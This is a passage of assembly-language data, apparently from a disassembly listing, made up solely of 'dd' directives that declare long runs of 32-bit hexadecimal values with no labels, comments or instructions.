		dd 7A67E322h, 64E57743h, 1DF9217Fh, 0B459D5D0h,	2F87AD1Ch
		dd 2885A92Ch, 55284FBh,	9F943B55h, 1F120778h, 0E26BF4CEh
		dd 3FC01153h, 410528BEh, 1F0C440Dh, 8444E73h, 0DEBA1210h
		dd 1830DE31h, 0B59AEC17h, 32CBCDD7h, 356D108Ah,	25BCD9D4h
		dd 8F747A3Dh, 0BA7EFCA1h, 84D78F82h, 266145B2h,	85C45C79h
		dd 0A7EF876Eh, 8A0A2EB2h, 4CBA5A9Bh, 2CCD46Dh, 0C8B8C5CBh
		dd 0D77213A5h, 10A793D9h, 0FACB17E2h, 0D175FBF2h, 17F4EB54h
		dd 2F5363A5h, 0B8E3A2ECh, 0B64750CFh, 0F453596h, 0B2B90D6Eh
		dd 84000F7Dh, 0E89FCF9Eh, 108F7575h, 0F71C4CB7h, 17590EF4h
		dd 92CDB4CFh, 24C151B0h, 9869D26Eh, 68730D1Bh, 0B43F056Ch
		dd 4D5AE520h, 0AE72643Bh, 9758183Dh, 0F43A21E6h, 0DAB3CA1Fh
		dd 8BB4FCF0h, 6858963Eh, 9D3D748Fh, 27429487h, 9409D36Ah
		dd 77841CA4h, 0ABF80269h, 0E8031392h, 94407D90h, 6203E8B1h
		dd 0C05DEA64h, 0EBCE9983h, 9F2108F4h, 9843AF76h, 845C6E50h
		dd 0FB32056Bh, 6CA9645Ah, 7D21C923h, 0E2A0C8A7h, 0C602A7D6h
		dd 5F38D5F0h, 3AFC5329h, 95A8D110h, 0F2E80ADBh,	70503C1Bh
		dd 0EE408099h, 0AC6708C1h, 9121098Fh, 7C77F9B1h, 52B00A12h
		dd 0D5F52093h, 0CAE050EEh, 37A72446h, 0B4FA510Fh, 944BC2D0h
		dd 0DD353359h, 0E91DA825h, 94CC9033h, 0CEA6E378h, 4F93D23Eh
		dd 3B228153h, 0FAE53D48h, 959CE37Bh, 0CFB98E82h, 270CDB2Ch
		dd 6E453D3Dh, 0AF89863Bh, 34F39153h, 57F853C4h,	68564C43h
		dd 9FFADACCh, 69061Ah, 35920F42h, 443F9FD6h, 0D21F14E0h
		dd 905FB23Ah, 0DCC1F0BEh, 523B38C9h, 38561738h,	18351978h
		dd 0EED84475h, 0B8134A3h, 55205C37h, 0DDD5E79Eh, 0ED4E9D63h
		dd 86ECA9C1h, 5E24F259h, 6F9D733Ah, 8CC015A7h, 0A21CAD3h
		dd 678B2333h, 38534933h, 0C9625A21h, 6CDA3796h,	0ACE5AA5Fh
		dd 86AE4593h, 0F415576Eh, 5356A485h, 3D84221Bh,	95A6B0D8h
		dd 3B537BFBh, 918FFBD6h, 6555872Fh, 55DE752Dh, 6BF503D8h
		dd 0B3DFD419h, 0A020EBC3h, 0D2CBB799h, 89606935h, 0DEA615D3h
		dd 8A6D13BEh, 68E087F7h, 3D9D86E0h, 8C1E9656h, 284D3FF6h
		dd 82A2B8A3h, 0D9720A15h, 3EAA1FDh, 0E66BB892h,	0A20559B9h
		dd 1ED6BAB7h, 0EF91235h, 926B2213h, 0CC8BC166h,	74214A48h
		dd 1FC8007h, 3FF1441Eh,	67E9FA8Fh, 768D4E5Fh, 844F4847h
		dd 878EBDA0h, 965C2D36h, 7C80DBDEh, 0A4C65A0Ch,	0A521AF1Dh
		dd 0EB457948h, 428BD00Ah, 1C374554h, 0B64D21F2h, 31628660h
		dd 1E2AF409h, 49A5E4C4h, 80F36AE1h, 0E0E3B9F5h,	0BC0FBE18h
		dd 7D39F98Dh, 0BABF1340h, 0DA276827h, 2706A209h, 67BEA50Dh
		dd 32B381Eh, 2D7E5D11h,	6E5948ACh, 8473EEB6h, 0D0C27F32h
		dd 553021F2h, 3E491AA9h, 6B67E7EAh, 0B9890B74h,	6A135601h
		dd 3ABCC24h, 0A0CC3BD8h, 849EA40Ah, 0F0F90F10h,	575C600Eh
		dd 0B0D7F9D9h, 460F9A74h, 0C996288Ch, 6C917619h, 0A6BE779Bh
		dd 0C1FD3DE9h, 1C68DABh, 57F7C282h, 3E228DB1h, 0E4577E64h
		dd 3EE55A7Dh, 3CF75EA1h, 0CF555332h, 4BD401BEh,	0ED168E1Fh
		dd 432D98ADh, 0E8B9F1E8h, 60C80F80h, 1D172A80h,	0B45DEB15h
		dd 917DBA37h, 511F16C0h, 85B00028h, 0F380EDC1h,	0B2669F7Dh
		dd 0E4A28E88h, 0DD91F896h, 0E682136h, 0EB05381h, 3172D28Dh
		dd 0CAA279D9h, 600337E2h, 7C7DA778h, 9D6B1DD6h,	49F39D37h
		dd 36F3BCA1h, 0D64EC1D5h, 862019FCh, 758D9EF0h,	4083C7E2h
		dd 9EBF965Eh, 0A5AC8858h, 8A1E1DC4h, 74070765h,	7386CBFDh
		dd 7B614352h, 0B463AA44h, 9D2163AEh, 5A1561BEh,	71E542Fh
		dd 37592231h, 722354FCh, 6DF79F75h, 17DA0E8h, 832037CAh
		dd 2FE0BEC7h, 0A6A2999Ch, 1D5DF576h, 0ECAA497Ch, 94D1F221h
		dd 9ADE17C4h, 0E1C30B59h, 0E35D53E1h, 86CB74FCh, 2B86A1BEh
		dd 0C6E63683h, 0D83C48E9h, 7AC6892Dh, 42559D69h, 0C0F65D53h
		dd 1BAF7358h, 0B33C7E1h, 23C2BA9Ah, 3BDFC707h, 0D386001Fh
		dd 5AD495AEh, 7BC8AB27h, 20A682FDh, 2F1FA065h, 0A1F856A1h
		dd 108A84C1h, 0AE9BA68Bh, 2F752FA2h, 0C925345Ch, 0B0770FD1h
		dd 13043CEEh, 3763874h,	0C1B500D1h, 86DE652Bh, 0A38D98AFh
		dd 8D7B0822h, 0EDCCA535h, 7A40B041h, 1B54BEA2h,	0D53CA48Fh
		dd 15124EF2h, 0C8664694h, 1742h, 9407323Fh, 2802655Eh
		dd 6757DBF4h, 5E2105F4h, 0F8C8C509h, 0FAE452ADh, 0E2672A4Ah
		dd 3B9DA3F7h, 24F86723h, 0D61B57ECh, 7A8CFE91h,	69E8A05Ch
		dd 97B9D47h, 8AD3123Ch,	0DD4BC93h, 0C995F070h, 239BECB0h
		dd 77FA8E60h, 0AA51E9CDh, 84E38E5Ch, 0C7D8BC6Dh, 0EB815A64h
		dd 0E7AEBCB4h, 0A8BFE7A1h, 0A6DFD513h, 1621B0EFh, 74F49E4Bh
		dd 7AAD824Dh, 39D4D1DDh, 0BE065E2Fh, 0E0EBF448h, 392C02C2h
		dd 629C0149h, 57767EC7h, 87244E25h, 4CA4732Dh, 0BAB84F88h
		dd 72F5E104h, 950AE31Dh, 740B3C2h, 0C74ECE53h, 607AC066h
		dd 67027A86h, 0D2057DFFh, 57483ECFh, 4C19A810h,	0CE26A232h
		dd 0B6A137A3h, 0C2ACDB4Bh, 0CCCADB95h, 0AC55DCAFh, 0D564B838h
		dd 0D07A73F2h, 9A4FACDAh, 688F287h, 52979BD9h, 0E57F1BFAh
		dd 0CD954C35h, 188087D7h, 171EB50Eh, 36F2D503h,	0A40E377Eh
		dd 0BD022ECEh, 68146EFCh, 60F3A460h, 5D633287h,	89E72059h
		dd 5F972520h, 0C6A9267Fh, 7CD2FACh, 5053C069h, 0D0E569DCh
		dd 8B52FEEDh, 38FC6FA1h, 0DBB2D50Ch, 0FDE0E556h, 0C4FB4C7Fh
		dd 1BD860A1h, 28E13E12h, 73A45C6Bh, 6FF9ED96h, 8E2B5ADCh
		dd 2F6F50C3h, 0C56B8308h, 0F81FC2BEh, 4B920B4Ah, 0C81E448Eh
		dd 3777D87Ah, 5B6DA2FAh, 0E1EC381Ch, 3DC56285h,	0EFE0E86Dh
		dd 4CBCFBBBh, 35A6D0D7h, 659CB542h, 73BF7742h, 0D4A3F5BDh
		dd 3AD5A1F9h, 6ECF0D87h, 1F72A825h, 37093E1Bh, 1FECB456h
		dd 0D28438FCh, 6E9C0CE4h, 888ED1A5h, 755FE340h,	381CE188h
		dd 80F07293h, 9BA60684h, 0C53FF50Dh, 0E882CA90h, 0D49C43C9h
		dd 4C2CDC02h, 622717A0h, 32AADC59h, 0B2D90ED0h,	2AF408D4h
		dd 0FB6D628h, 35CCFB2Eh, 0F6ED0383h, 8964A9BDh,	1EBB0281h
		dd 1B07D510h, 25F088A5h, 0A33C2CF5h, 9017E808h,	879A7DE5h
		dd 293A8EE8h, 0EFD8BC0Ah, 2D210946h, 0A4C4FF3h,	0DD3F61E7h
		dd 53EF305Bh, 239EFA99h, 6AE378DEh, 0EADDA6F5h,	11F3F235h
		dd 422A93CEh, 5B78FEAh,	0C7079775h, 398FF4E0h, 1B2C3AAAh
		dd 292DB9F0h, 44C155F2h, 0AA810E61h, 86FD6BE3h,	0FDF4C282h
		dd 0D40C2B45h, 630D9227h, 42365199h, 55AE6047h,	3C900FDAh
		dd 0F30CD038h, 9D1356A9h, 0D982CF9Eh, 0AB876257h, 6F38201Bh
		dd 9A738308h, 0D36483BEh, 0BBE27F1Ah, 0AEA1E585h, 0F73CA358h
		dd 8610F474h, 99B555DDh
		dd 5F4B9A15h, 0DE4CC802h, 98A78F33h, 7D0E9D9h, 0DDD411Ch
		dd 16C35681h, 0DB053E74h, 0C44B7D38h, 0D0C0EA87h, 13BB781Dh
		dd 6232F270h, 0E28F479Bh, 0CE12DEEBh, 5B0C4D24h, 0B399328Ah
		dd 1FC011EEh, 1733626Ch, 8DBBC3BEh, 7887BC3Eh, 0E461A990h
		dd 0D378B01Eh, 18C57C39h, 5D5E2EAEh, 78BEA32Ch,	546472FBh
		dd 654B6F66h, 0F39C726Ch, 255DBED3h, 0DD7F4974h, 0E030DF40h
		dd 0D0BE490h, 13745ADBh, 0CB6CCC03h, 500C482Ah,	0F9671363h
		dd 0E0C017A8h, 7F08C2D7h, 98E89A02h, 55B328E8h,	0EE47CCF3h
		dd 8455728Dh, 0AB05DBA1h, 1461FCAAh, 94DA374Bh,	276D9CDEh
		dd 8B27668Eh, 928F9203h, 0F72E1A27h, 4BA89E4Ch,	0B4D5A7B3h
		dd 6B09D275h, 72CA9524h, 2C2B05C2h, 4694DB13h, 297E1CC3h
		dd 45021ADCh, 0A89EBE9Ah, 4520CB58h, 53856BF0h,	0A67FA96Eh
		dd 803D7B35h, 48A6641Ch, 0B91DFD3h, 0EDD9E6B5h,	0FCDF768Fh
		dd 0EE96C5B9h, 0D007C22h, 0A2E42A83h, 5528C498h, 4CE47ECAh
		dd 0BB0D0306h, 2ED534D9h, 9D2D1B94h, 117783F3h,	0D84FED90h
		dd 89818EB7h, 29A8790Dh, 6BE960D2h, 2549BCD1h, 511579F1h
		dd 0CDDD95ECh, 3FD95C1Fh, 0F0F1F7ACh, 14EB4983h, 17906D17h
		dd 0C1813F32h, 7C9D48D0h, 78A1F27Ah, 7D820C0Fh,	0EEB30Ah
		dd 0EC263BE4h, 91AC17F8h, 130194B9h, 905609A6h,	0E88FC731h
		dd 0E155196Eh, 0F40D1DF6h, 5EBAC850h, 0FE14F9CDh, 0F4DD736Eh
		dd 31507DD6h, 0D811006Dh, 3472A2E4h, 1E96F5D7h,	4ED5DEDAh
		dd 0CA90C78Bh, 0DC530FB5h, 4A966C7h, 3F7E9CE7h,	5B3E85E1h
		dd 296E19E7h, 8C195E10h, 0EAFAE218h, 556A5900h,	68E7A9DBh
		dd 88BFCAE8h, 0C4F424D3h, 0FE9DB437h, 31143A5Eh, 67A0C7Bh
		dd 838E308Ah, 0B3048795h, 0E9D64975h, 0C664C121h, 0AD3A9747h
		dd 839C7A5Fh, 410077A5h, 6732CBC7h, 0A2E0C9E5h,	3767139Eh
		dd 8E6F341h, 0CBB09197h, 0CE605164h, 995002A9h,	0F83BEA60h
		dd 7F2F8BF6h, 0B9AA61CCh, 835E1421h, 800DF3CEh,	0D596877Eh
		dd 5669314Eh, 5B591DF9h, 0EB048B19h, 639F1EB3h,	39237BE9h
		dd 12BBD435h, 2F675CCEh, 0F1E3D856h, 0FB3A0378h, 20C21C41h
		dd 0A04C6443h, 81630FEDh, 99F3A162h, 30913C67h,	74D68553h
		dd 0AFCAD757h, 67EF3F65h, 0F18975B6h, 88F8F87Bh, 0FC088205h
		dd 0CDF59BB5h, 0AC8360Fh, 0C66B4FA8h, 6B397FDDh, 0C2E27E71h
		dd 3F9EA918h, 0DF95790Ah, 7CB8DA11h, 82C1C6D0h,	7DD39846h
		dd 762BE704h, 24971C9Ah, 36E4144Eh, 0DAE912D7h,	46C38A32h
		dd 0B9AC2C03h, 4BEAD758h, 236B2EC4h, 614A6E97h,	8EC5A864h
		dd 210A172Fh, 0C6CE3407h, 3A3F0BAFh, 0B65D5F48h, 0FB3A34BAh
		dd 946C97EFh, 4A18BDB7h, 80AD3F3Ch, 0B3B263E6h,	0C91E29E2h
		dd 0DC7B71DFh, 0B717DF4Eh, 5632151Fh, 0FAF47F6Dh, 0C6E9F986h
		dd 98D94C71h, 0BA1E4442h, 0CA456E2Fh, 4E77C845h, 0C9694E79h
		dd 0CC570465h, 0D13050ADh, 0FA4B23FDh, 0D20C46F9h, 32E48B9Eh
		dd 0DD1E320Ah, 0B4BE783Ah, 0A37E5BACh, 30DC9B7Ch, 8D0385AEh
		dd 1E55D98Bh, 0E53D3BA8h, 1B510B3Bh, 0D9AB7407h, 0EF5F23C1h
		dd 90EA3C36h, 0EE56EC5Eh, 238CDF50h, 2AD583Fh, 68DD985Bh
		dd 18C714B2h, 0C1C7B895h, 946E3A99h, 31E2339Dh,	0B4FC3B14h
		dd 28E83AE8h, 6BB2A0Ch,	0C52BA4D3h, 27E85672h, 0E25DC77h
		dd 0FF63E4D2h, 0B3C23DD4h, 0CDF439F8h, 284545ECh, 955019C4h
		dd 3B77EE94h, 972BE982h, 5BD093E2h, 36ECEC7h, 0D118FC74h
		dd 5531DB2h, 0EF1A36A8h, 0C73E3C7h, 0C7744FA3h,	2A8CDFDCh
		dd 5CD7A4C2h, 54A47462h, 0ADE7242Fh, 6EC74AF6h,	0BB3DC1A1h
		dd 69CCD3D4h, 7698BB75h, 6A5017BCh, 41ECA7B6h, 0CEC180F5h
		dd 870F3F43h, 6740E4D2h, 0B50EACF3h, 35CE744Dh,	78A255D9h
		dd 996DD95Dh, 66161041h, 0FDEC8C9Eh, 57F91F56h,	7BB61FA6h
		dd 0FC2A4B18h, 3B4D9B55h, 3940A554h, 0C71A9D29h, 89727BCFh
		dd 70441223h, 0D74DCCB9h, 1F1F4650h, 8A4766DCh,	7ED9E657h
		dd 97903DACh, 0D947D600h, 69ED2EF9h, 0BF50AF13h, 0F6FD37BAh
		dd 0DFAB5EDBh, 0A9C2EA93h, 746D0EB2h, 19DD5839h, 0AA4213D1h
		dd 0BD4181F8h, 0F241E0C0h, 7ABFCF75h, 0DF4E7E4Bh, 8111B150h
		dd 43F13E31h, 36A630D7h, 2614802Ah, 7583A2CFh, 4D05666Fh
		dd 7E2608F4h, 13BA3Eh, 5EA8028h, 2449A023h, 0CD6DB6A4h
		dd 0FC5F752Ah, 0BB3A2655h, 2D092669h, 6934D362h, 5525559Fh
		dd 22983783h, 15A193E9h, 0EC2B1891h, 5F25DDF7h,	0A5825135h
		dd 0F3477C83h, 0DA2AA57h, 0F52B77C8h, 0D8271EF3h, 2E6349EFh
		dd 0C9AA5884h, 4AED7763h, 0D5331761h, 1D604903h, 3246721Dh
		dd 33F01F72h, 81B6242Bh, 1C421C1Ch, 0FC74B447h,	145B0CAh
		dd 1B2F0821h, 0D5B8C72Ah, 64264C5Bh, 60E59C75h,	5C4E4586h
		dd 8C19EF9h, 265C68AAh,	91A2FC8Bh, 95D4A5BCh, 609C86A6h
		dd 8A07501Ah, 0B2AB6811h, 2F2E564Dh, 57929B87h,	0F3238B42h
		dd 91B20ADBh, 92B53B0Ah, 0F0776D71h, 44DD3E9Bh,	9338488Ah
		dd 8B1B57A9h, 140D2E77h, 79404B11h, 0DC27E68Eh,	9925E8BBh
		dd 7730A4D7h, 47247393h, 8E4DB071h, 27081663h, 0C998B989h
		dd 0B5E0C74Eh, 0C3AAB5FDh, 0C56FFEF6h, 634026D5h, 7204B863h
		dd 7E28329Eh, 0C028F185h, 233390BEh, 3B0A4B39h,	9A74ECFCh
		dd 3B7AD6D2h, 3E4260ADh, 0B2A8143Ah, 879B7FFFh,	753FBBFAh
		dd 0F7BCE281h, 0DA2B4570h, 8C6B251Dh, 2D33147Eh, 195EF4A3h
		dd 0E659B9A6h, 0B1D65088h, 0B4CACEE0h, 0DF51E073h, 823AAB7Eh
		dd 66B6CBF1h, 838EFBDEh, 495E5B79h, 210D6DF2h, 6B350887h
		dd 0D0B42F58h, 0FD6EB9BCh, 695FCBFEh, 69C3F799h, 53B4A3F3h
		dd 6BDBFD9Bh, 0B398B055h, 0AF74E816h, 0A0143E03h, 0BE1FA133h
		dd 0B7F1FB46h, 0FD973312h, 0E51AF1A3h, 0D9A63B6Eh, 2E5D3987h
		dd 0D05E1CFDh, 0E673BDABh, 0DD44D44Fh, 5E7BB81Bh, 0BD8E062Ch
		dd 7A7A4F7Dh, 4EDA52F5h, 0F663EAC0h, 97467F45h,	4C6814A0h
		dd 88A2A465h, 123DA189h, 318FC62Bh, 106714CFh, 0C441D9DEh
		dd 5B40E6F3h, 0EAC26D6h, 2B83BD17h, 3ED338F1h, 0C6EF5293h
		dd 0DEE85A47h, 7C1F35A6h, 6698040h, 21A1D4DAh, 4A3609D4h
		dd 0F826B3E1h, 8507AF89h, 0DD40A3ABh, 6455C711h, 2F9ECD44h
		dd 3E2630FEh, 8B882FB0h, 0C7DA5C50h, 5A30CBBAh,	4EF3BD3Dh
		dd 49E2E9D0h, 0D12C9D57h, 68FBCA45h, 0DD8BA036h, 0AEE8148Ch
		dd 0E64CDB89h, 0A1EB1532h, 778EF9ABh, 0B562DBh,	3F42B315h
		dd 0ED08C5CAh, 21611CCBh, 5372E677h, 0B7AAD33Ah, 5DA83D10h
		dd 0B78F0FCDh, 0D8A959BBh, 123CFF9Bh, 0D84AE2C0h, 0D1296A71h
		dd 974B03F0h, 0CBB17EBFh, 9A77CDF3h, 9E83EE19h,	59EE533Ch
		dd 0D19100Eh, 246E7CC7h, 36857D4Eh, 13DED7ADh, 25228461h
		dd 56C44415h, 90F78B41h, 5E37A9F3h, 0EF765725h,	81510989h
		dd 62D32529h, 0B62CB23Fh, 0A582183Ah, 9F203F87h, 2169A566h
		dd 6003E561h, 186E14DCh, 772A0E42h, 7CBC4873h, 335DB36Bh
		dd 0B81E9126h, 9F54A576h, 0AAD8C06Ah, 5C7C8FE9h, 9C5B9BDFh
		dd 0FCF05FF1h, 45467724h, 0F5C16056h, 4EEDCC01h, 21B3576Eh
		dd 0FA04BF7Eh, 0BCE1C3EBh, 0C72EAE97h, 0F7C25ED3h, 0A5DFB036h
		dd 0C86783A2h, 61C603DBh, 8A122E8Fh, 8CFE26A3h,	22BA7519h
		dd 821A4789h, 929FBE0h,	681A8C80h, 701F522Fh, 6E890C1Eh
		dd 97BDED1Dh, 0FDF2A127h, 28511869h, 0F5D84FFAh, 64136F73h
		dd 0F3C0A470h, 0EFCF6DA4h
		dd 4695000Eh, 43408D5h,	6A8AF73Dh, 9DCD369Eh, 9F036A65h
		dd 3B18641Eh, 0A7D7E4C1h, 0BF9C763Fh, 5AD343C9h, 0D1A8826Dh
		dd 0F18F3D7Ah, 84BB402Dh, 7B3593Fh, 1609C0C6h, 99757AADh
		dd 7AB14F91h, 45F963BBh, 0F9CD39E4h, 0F2338C70h, 0BC3AC6C4h
		dd 5ADD5209h, 0A95B9632h, 43D87F79h, 0A797D5ECh, 58B91947h
		dd 5DC1A15Dh, 0C8DCFB71h, 0B5F38608h, 23029943h, 8E3DF880h
		dd 0BA5D6F96h, 7F2CBA46h, 0ECAD9DDh, 0D4D8DE7Ch, 3CD9120Eh
		dd 89EF9D83h, 0ACD3C4FBh, 0C5E48076h, 79E84529h, 69ACD1B1h
		dd 315CBF89h, 0B4438878h, 3DBB166Dh, 9EE624E2h,	39220E10h
		dd 0CB2227C5h, 0C529DF2Dh, 2AD80A34h, 0D2CF2B71h, 7E19C2ADh
		dd 5CD49051h, 72EF57DBh, 106E10Bh, 9D5ACFF1h, 0BAD15679h
		dd 0E3D235C4h, 28A8D8D4h, 0BC9EE735h, 0D6B1A3D0h, 38F1197Dh
		dd 0CCCC3B20h, 0BB85B11Fh, 59AD5FF3h, 0AD74F996h, 0D20489C0h
		dd 2130500Ah, 0FD415B82h, 0A34CF119h, 0E81E6909h, 57F06DC6h
		dd 0D67789BBh, 2F6D8657h, 37AAC48Fh, 7829F979h,	42397153h
		dd 0EB499743h, 0A4197CCBh, 24894B9Bh, 0D978C82Ch, 98D6D4B4h
		dd 62D3774h, 0E977C5A6h, 6808B467h, 3A58B4D3h, 0BC313BC0h
		dd 0C82E9A49h, 0E82DA2B8h, 0D6779509h, 229FA4C6h, 0F8311EF1h
		dd 0D7930C8Bh, 0D460E7DDh, 7516A770h, 0EC5C05B4h, 2AA72B14h
		dd 0B92897CFh, 5A6A0BDEh, 3FA25A2Bh, 0AAAD75B1h, 7EA277E7h
		dd 132EAEF6h, 8BF6430Eh, 3D1B62A9h, 0E1BDEF70h,	22A0E9A9h
		dd 7A2E7F3h, 45EA1597h,	6C4D93E7h, 0BECE281Fh, 0D74FE1F7h
		dd 0CB2A5CFBh, 0C189FC03h, 5B85B4CFh, 3E1B0DB2h, 5BA4EBFAh
		dd 8AF5A001h, 0C78F6774h, 3C8E1AE7h, 4B09B6Dh, 7843AF70h
		dd 0D25B75C7h, 2A3CC12Eh, 9D0364Ah, 45613BEDh, 0F1995CC8h
		dd 53395D56h, 0FB8990B8h, 890ED60Dh, 0EE4A6253h, 4B91510Ch
		dd 27EA8D57h, 9F546169h, 5EF3F7F1h, 1A664501h, 44FC81B5h
		dd 9AD5579Fh, 896AF464h, 7CB9570Ch, 0E4CCC068h,	906392CEh
		dd 0EBAD9946h, 6E511F74h, 156EDA41h, 0ED8F2F8Bh, 0BA0CB777h
		dd 5DE703F7h, 94931E39h, 1163C954h, 897FF2B3h, 0FF1480D3h
		dd 0DDEB664Ah, 0E389073Eh, 85B6E037h, 0CC8EDC39h, 0AE1980EDh
		dd 0D910D081h, 20D8A5D8h, 423E5792h, 0E526BEBDh, 602002D2h
		dd 25408FD9h, 4CDB7943h, 4DDDBE6Dh, 319E41CAh, 0C2BC6F36h
		dd 1B065636h, 2A3CEAAFh, 0D0EE890Fh, 395E4143h,	0D3E314DAh
		dd 3CAEB128h, 9B7F59BAh, 9599E877h, 32CA67B7h, 84F453FBh
		dd 0CFA6FA35h, 0A35AB1CBh, 0C56B3144h, 79E35123h, 0EFF3E548h
		dd 0F9ACA00Ch, 2CCBDDF1h, 0DE367EFFh, 76260EEBh, 4641E6A4h
		dd 90D7A287h, 7E0B6AF0h, 7DDEEADDh, 0ECEA6D31h,	59165F4Ch
		dd 6F4E573Dh, 0FFC22ADDh, 0A0A3D117h, 0CA0616E0h, 28A38E43h
		dd 0ACCAC95Eh, 0ED906A7Fh, 0A070B9Eh, 756E8D07h, 0EBFC1620h
		dd 0F5CBAADAh, 99BBEC30h, 3A908FEDh, 0B484F491h, 0BF59E964h
		dd 0FDA0EEEFh, 0EE44EA0h, 8A0B71D5h, 0E326ED40h, 1793CC02h
		dd 940CB5FAh, 4F0B54DDh, 0D3BA668Dh, 0CF4F9989h, 0A0B5EDB5h
		dd 25F5ED3Eh, 91E1762Ch, 1C59715Ah, 218CC3BAh, 9CCC9FA2h
		dd 0F13CDE25h, 3488CB0Ch, 909F403Fh, 0D58CF935h, 0D29B82C8h
		dd 1A398515h, 0BF0523AAh, 73AED45Ah, 8A41EAF1h,	5B4D1B9Fh
		dd 51B9DD21h, 0ED4F5B04h, 3C46588Bh, 0E18DE051h, 136F7687h
		dd 0F95D9B8Dh, 992327B3h, 0CBCC33EDh, 0FE9AE5D5h, 0EC337FBBh
		dd 251924F9h, 9C3BF98Ch, 536BBB57h, 0B94FF5BBh,	9DA25D33h
		dd 0C7D72004h, 9EC050A7h, 4AC6BC4Ah, 0AF3CB397h, 0D19C5347h
		dd 271F6D4Ah, 7F015FDFh, 3E7858C4h, 0B4BB13C4h,	53039F7Ch
		dd 71E785D1h, 0C7284F1Bh, 6D2F9AC1h, 65E3CDF4h,	901666ABh
		dd 0E9C66C9Bh, 4636EC46h, 0CC891739h, 0FA35EDACh, 8E9CAA58h
		dd 0E906ADDAh, 5F08C900h, 5933AE68h, 0AF273C01h, 618BE3A5h
		dd 0A448CB83h, 6171DD70h, 4460B378h, 52B0F46Dh,	0B360BC27h
		dd 0DFB2F8F1h, 0BB651BB7h, 848CD417h, 1F3750ADh, 0E4C50F99h
		dd 1B5881B1h, 23712C30h, 0C215EEB8h, 93C9C8C1h,	0E177E1BAh
		dd 4D4D0697h, 0A21ED637h, 0C7E02D20h, 0CB050159h, 4CA04BA8h
		dd 0B5E22B5Ah, 0ACD1969Ch, 0E70DBE08h, 3D2F9E51h, 0D52B6C87h
		dd 45E9B604h, 0B12DC686h, 0C671711Fh, 0ECAA97F5h, 0C0DAFB74h
		dd 0CCB608C2h, 0ACA5203Ch, 2B18CC0Dh, 0EEA1DF33h, 208BEF0Ch
		dd 75555291h, 9E3BE53Dh, 1FFC87BBh, 97EFF656h, 0CAB7445Fh
		dd 0B459783Dh, 0A37C93E8h, 69025E44h, 42D45426h, 0E752A932h
		dd 0FFDBC20Ah, 0C722B63Bh, 809B5E8Ch, 23428E66h, 0D2303C78h
		dd 0D1CF52E5h, 825A3297h, 8CC59ABBh, 8A98423Ah,	0EA91B3B5h
		dd 588FFC44h, 88E3ADD3h, 0FEA530DDh, 96B8CC2h, 0FE06942Ch
		dd 94AF66F3h, 1BC97A09h, 33907EC2h, 63B7D2C8h, 54203836h
		dd 513E10B4h, 73B1E9B0h, 429ECA24h, 245FD234h, 39ED00E3h
		dd 0B8198700h, 5117EC66h, 28372AEh, 0E1743E97h,	63CC9543h
		dd 970282D6h, 0E14E3E56h, 642CEA78h, 0C23119C5h, 60E688BAh
		dd 0A72E91F0h, 5AC33B85h, 261AA17h, 1C093FEh, 0DFEF4607h
		dd 0B69AC9D4h, 0B63D3AA4h, 0C2CAE22Ch, 9E4546Bh, 1AAC637Dh
		dd 294FC357h, 47473743h, 0E07C90EBh, 2C9A3CD8h,	67ED82F4h
		dd 17D790BAh, 0E88BA930h, 0AF05FBDDh, 0F1AEC54Bh, 0F23D477Dh
		dd 0E399D553h, 5AF89969h, 28F8977Ch, 83878C47h,	0F0B9898Ah
		dd 99D6E714h, 0F4E67F3h, 0E8218732h, 45E8CA49h,	1A5C5BEFh
		dd 0E1E43F16h, 0C9AD7796h, 995E1E5Bh, 0C08F829Eh, 746262A8h
		dd 0BE75F9B7h, 1737880Bh, 169BF312h, 0D1D5172h,	0E025DA40h
		dd 8BC03581h, 32B7046Ch, 7D9732C0h, 49BA162Eh, 4012D6D1h
		dd 0D0D1A0AAh, 4D04A0CFh, 1B4C1B81h, 0CAF0867Fh, 0A83E6DC7h
		dd 0D7642487h, 37862360h, 0D68B617Fh, 0DFD3BFACh, 25CBCE44h
		dd 67CD4517h, 8AD829D6h, 236E7476h, 0E20DF175h,	0D82BA15Dh
		dd 5FB29736h, 0CF238BFh, 0BF861DF4h, 471C3B81h,	0B85DF570h
		dd 87D41EEAh, 0A831C18Ch, 0E341E4C3h, 0B6C903B1h, 393B8E9h
		dd 0F73EB3E4h, 8A6E01A4h, 869352Dh, 4DD47B64h, 0DC492E68h
		dd 0D001E53Dh, 0DA815124h, 0F5CEEE68h, 2133DE66h, 5C69E357h
		dd 0A1D2FD1Bh, 78BAEB8Bh, 6348475Dh, 1EB1573Eh,	40D506C5h
		dd 738F2EF3h, 0F7B9E1F2h, 48F7411Dh, 0B0120D2Eh, 42417555h
		dd 0C5D2FFA2h, 0B905903Fh, 0E09E66EEh, 3ECBC742h, 6DAB828h
		dd 5C5F1CCFh, 0B7070378h, 0A0A6A989h, 82329896h, 0D32CC56Ah
		dd 43311E0Bh, 0E5528B4Dh, 0F8BB214Ch, 9B33E4EDh, 275AA7B5h
		dd 0ABD3584Ch, 0B8A95695h, 0A761385Ch, 427F63FCh, 65DE08B4h
		dd 8EF12D2Bh, 7790F81Bh, 0A9249AA3h, 6E297621h,	7624A9DCh
		dd 3901340Fh, 97DA2290h, 95970287h, 32E2BE2Ah, 84A45227h
		dd 7A9EE148h, 0ED366DAAh, 3F99D556h, 73A62567h,	9A0F5E88h
		dd 6AC7422Ah, 0BC91BB72h, 0E7C49B6Bh, 3BE804A1h, 0A2EA3390h
		dd 8B2DAAFBh, 4714E4BDh, 6AB40A8Ch, 2D92E91h, 0C04C7624h
		dd 33453748h, 0CF08E423h, 73CC6BB8h, 5E0E524h, 0BD4F83B4h
		dd 0BB212DB9h, 683DE033h, 51C9098Ah, 0F576A3EAh, 155D6B19h
		dd 96ADA221h, 0D02B3F6h, 61DD3ED3h, 6E01135Bh, 30999DCCh
		dd 41295AC5h, 0ADC52D1Ch, 0EC9B8B11h, 0C8109197h, 76D6B39Ch
		dd 71D8493Eh, 0EFAA015Ah, 93FFB9B9h, 22B2DFFDh,	8C6E17A9h
		dd 0E6B6A735h, 0D1512227h
		dd 19523C1Bh, 0C7BC37D7h, 5519F63h, 57014C00h, 31EDFC02h
		dd 0FB9B7E73h, 0D07BD4D5h, 0B7552628h, 22401E5Bh, 90C8C406h
		dd 6B2B5DB0h, 0B77AD905h, 621D5614h, 0C53012F2h, 0A2A13328h
		dd 48CA7747h, 213768AEh, 2C79B7B7h, 0EEE3D8BBh,	8BA63428h
		dd 1BBA6D21h, 0C7CD9B15h, 7445535Bh, 3FA46Eh, 263EA4B3h
		dd 73DC252Ah, 13F67E63h, 0C0390E89h, 2BA080EEh,	0B5DD6F87h
